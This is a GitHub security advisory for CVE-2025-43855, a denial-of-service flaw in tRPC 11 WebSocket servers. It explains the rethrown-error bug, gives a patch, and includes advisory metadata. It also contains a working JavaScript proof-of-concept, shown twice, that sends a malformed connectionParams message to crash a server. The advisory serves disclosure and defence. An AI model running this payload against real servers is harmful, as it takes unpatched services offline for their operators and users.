ghsa-pj3v-9cm8-gvj8
Vulnerability from github
Summary
An unhandled error is thrown when validating invalid connectionParams which crashes a tRPC WebSocket server. This allows any unauthenticated user to crash a tRPC 11 WebSocket server.
Details
Any tRPC 11 server with WebSocket enabled with a createContext method set is vulnerable. Here is an example:
https://github.com/user-attachments/assets/ce1b2d32-6103-4e54-8446-51535b293b05
I have a working reproduction here if you would like to test: https://github.com/lukechilds/trpc-vuln-reproduction
The connectionParams logic introduced in https://github.com/trpc/trpc/pull/5839 does not safely handle invalid connectionParams objects. During validation if the object does not match an expected shape an error will be thrown:
https://github.com/trpc/trpc/blob/8cef54eaf95d8abc8484fe1d454b6620eeb57f2f/packages/server/src/unstable-core-do-not-import/http/parseConnectionParams.ts#L27-L33
This is called during WebSocket connection setup inside createCtxPromise() here:
https://github.com/trpc/trpc/blob/8cef54eaf95d8abc8484fe1d454b6620eeb57f2f/packages/server/src/adapters/ws.ts#L435
createCtxPromise has handling to catch any errors and pass them up to the opts.onError handler:
https://github.com/trpc/trpc/blob/8cef54eaf95d8abc8484fe1d454b6620eeb57f2f/packages/server/src/adapters/ws.ts#L144-L173
However the error handler then rethrows the error:
https://github.com/trpc/trpc/blob/8cef54eaf95d8abc8484fe1d454b6620eeb57f2f/packages/server/src/adapters/ws.ts#L171
Since this is all triggered from the WebSocket message event there is no higher level error handling so this causes an uncaught exception and crashes the server process.
This means any tRPC 11 server with WebSockets enabled can be crashed by an attacker sending an invalid connectionParams object. It doesn't matter if the server doesn't make user of connectionParams, the connectionParams logic can be initiated by the client.
To fix this vulnerability tRPC should not rethrow the error after it's be handled. This patch fixes the vulnerability:
```patch From 5747b1d11946f60268eb86c59784bd6f7eb50abd Mon Sep 17 00:00:00 2001 From: Luke Childs lukechilds123@gmail.com Date: Sun, 20 Apr 2025 13:27:10 +0700 Subject: [PATCH] Don't throw already handled error
This error has already been handled so no need to re-throw. If we re-throw it will not be caught and will trigger an uncaught exception causing the entire server process to crash.
packages/server/src/adapters/ws.ts | 2 -- 1 file changed, 2 deletions(-)
diff --git a/packages/server/src/adapters/ws.ts b/packages/server/src/adapters/ws.ts index ad869affd..5a578b5cb 100644 --- a/packages/server/src/adapters/ws.ts +++ b/packages/server/src/adapters/ws.ts @@ -167,8 +167,6 @@ export function getWSConnectionHandler( (globalThis.setImmediate ?? globalThis.setTimeout)(() => { client.close(); }); - - throw error; }); }
-- 2.48.1
```
PoC
This script will crash the target tRPC 11 server if WebSockets are enabled:
```js
!/usr/bin/env node
const TARGET = 'ws://localhost:3000'
// These malicious connection params will crash any tRPC v11.1.0 WebSocket server on validation const MALICIOUS_CONNECTION_PARAMS = JSON.stringify({ method: "connectionParams", data: { invalidConnectionParams: null }, });
// Open a connection to the target
const target = ${TARGET}?connectionParams=1;
console.log(Opening a WebSocket to ${target});
const socket = new WebSocket(target);
// Wait for the connection to be established socket.addEventListener("open", () => { console.log("WebSocket established!");
// Sends a message to the WebSocket server.
console.log(Sending malicious connectionParams);
socket.send(MALICIOUS_CONNECTION_PARAMS);
console.log(Done!);
});
// Handle errors socket.addEventListener("error", () => console.log("Error opening WebSocket")); ```
Complete PoC with vulnerable WebSocket server here: https://github.com/lukechilds/trpc-vuln-reproduction
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@trpc/server"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0"
},
{
"fixed": "11.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-43855"
],
"database_specific": {
"cwe_ids": [
"CWE-248",
"CWE-460"
],
"github_reviewed": true,
"github_reviewed_at": "2025-04-24T16:03:57Z",
"nvd_published_at": "2025-04-24T14:15:59Z",
"severity": "HIGH"
},
"details": "### Summary\n\nAn unhandled error is thrown when validating invalid connectionParams which crashes a tRPC WebSocket server. This allows any unauthenticated user to crash a tRPC 11 WebSocket server.\n\n### Details\nAny tRPC 11 server with WebSocket enabled with a `createContext` method set is vulnerable. Here is an example:\n\nhttps://github.com/user-attachments/assets/ce1b2d32-6103-4e54-8446-51535b293b05\n\nI have a working reproduction here if you would like to test: https://github.com/lukechilds/trpc-vuln-reproduction\n\nThe connectionParams logic introduced in https://github.com/trpc/trpc/pull/5839 does not safely handle invalid connectionParams objects. During validation if the object does not match an expected shape an error will be thrown:\n\nhttps://github.com/trpc/trpc/blob/8cef54eaf95d8abc8484fe1d454b6620eeb57f2f/packages/server/src/unstable-core-do-not-import/http/parseConnectionParams.ts#L27-L33\n\nThis is called during WebSocket connection setup inside `createCtxPromise()` here:\n\nhttps://github.com/trpc/trpc/blob/8cef54eaf95d8abc8484fe1d454b6620eeb57f2f/packages/server/src/adapters/ws.ts#L435\n\n`createCtxPromise` has handling to catch any errors and pass them up to the `opts.onError` handler:\n\nhttps://github.com/trpc/trpc/blob/8cef54eaf95d8abc8484fe1d454b6620eeb57f2f/packages/server/src/adapters/ws.ts#L144-L173\n\nHowever the error handler then rethrows the error:\n\nhttps://github.com/trpc/trpc/blob/8cef54eaf95d8abc8484fe1d454b6620eeb57f2f/packages/server/src/adapters/ws.ts#L171\n\nSince this is all triggered from the WebSocket `message` event there is no higher level error handling so this causes an uncaught exception and crashes the server process.\n\nThis means any tRPC 11 server with WebSockets enabled can be crashed by an attacker sending an invalid connectionParams object. It doesn\u0027t matter if the server doesn\u0027t make user of connectionParams, the connectionParams logic can be initiated by the client.\n\nTo fix this vulnerability tRPC should not rethrow the error after it\u0027s be handled. This patch fixes the vulnerability:\n\n```patch\nFrom 5747b1d11946f60268eb86c59784bd6f7eb50abd Mon Sep 17 00:00:00 2001\nFrom: Luke Childs \u003clukechilds123@gmail.com\u003e\nDate: Sun, 20 Apr 2025 13:27:10 +0700\nSubject: [PATCH] Don\u0027t throw already handled error\n\nThis error has already been handled so no need to re-throw. If we re-throw it will not be caught and will trigger an uncaught exception causing the entire server process to crash.\n---\n packages/server/src/adapters/ws.ts | 2 --\n 1 file changed, 2 deletions(-)\n\ndiff --git a/packages/server/src/adapters/ws.ts b/packages/server/src/adapters/ws.ts\nindex ad869affd..5a578b5cb 100644\n--- a/packages/server/src/adapters/ws.ts\n+++ b/packages/server/src/adapters/ws.ts\n@@ -167,8 +167,6 @@ export function getWSConnectionHandler\u003cTRouter extends AnyRouter\u003e(\n (globalThis.setImmediate ?? globalThis.setTimeout)(() =\u003e {\n client.close();\n });\n-\n- throw error;\n });\n }\n\n--\n2.48.1\n\n```\n\n## PoC\n\nThis script will crash the target tRPC 11 server if WebSockets are enabled:\n\n```js\n#!/usr/bin/env node\n\nconst TARGET = \u0027ws://localhost:3000\u0027\n\n// These malicious connection params will crash any tRPC v11.1.0 WebSocket server on validation\nconst MALICIOUS_CONNECTION_PARAMS = JSON.stringify({\n method: \"connectionParams\",\n data: { invalidConnectionParams: null },\n});\n\n// Open a connection to the target\nconst target = `${TARGET}?connectionParams=1`;\nconsole.log(`Opening a WebSocket to ${target}`);\nconst socket = new WebSocket(target);\n\n// Wait for the connection to be established\nsocket.addEventListener(\"open\", () =\u003e {\n console.log(\"WebSocket established!\");\n\n // Sends a message to the WebSocket server.\n console.log(`Sending malicious connectionParams`);\n socket.send(MALICIOUS_CONNECTION_PARAMS);\n console.log(`Done!`);\n});\n\n// Handle errors\nsocket.addEventListener(\"error\", () =\u003e console.log(\"Error opening WebSocket\"));\n```\n\nComplete PoC with vulnerable WebSocket server here: https://github.com/lukechilds/trpc-vuln-reproduction",
"id": "GHSA-pj3v-9cm8-gvj8",
"modified": "2025-04-24T16:03:58Z",
"published": "2025-04-24T16:03:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/trpc/trpc/security/advisories/GHSA-pj3v-9cm8-gvj8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43855"
},
{
"type": "WEB",
"url": "https://github.com/trpc/trpc/pull/5839"
},
{
"type": "WEB",
"url": "https://github.com/trpc/trpc/commit/9beb26c636d44852e0f407f3d7a82ad54df65b4d"
},
{
"type": "PACKAGE",
"url": "https://github.com/trpc/trpc"
},
{
"type": "WEB",
"url": "https://github.com/trpc/trpc/blob/8cef54eaf95d8abc8484fe1d454b6620eeb57f2f/packages/server/src/adapters/ws.ts#L171"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "tRPC 11 WebSocket DoS Vulnerability"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.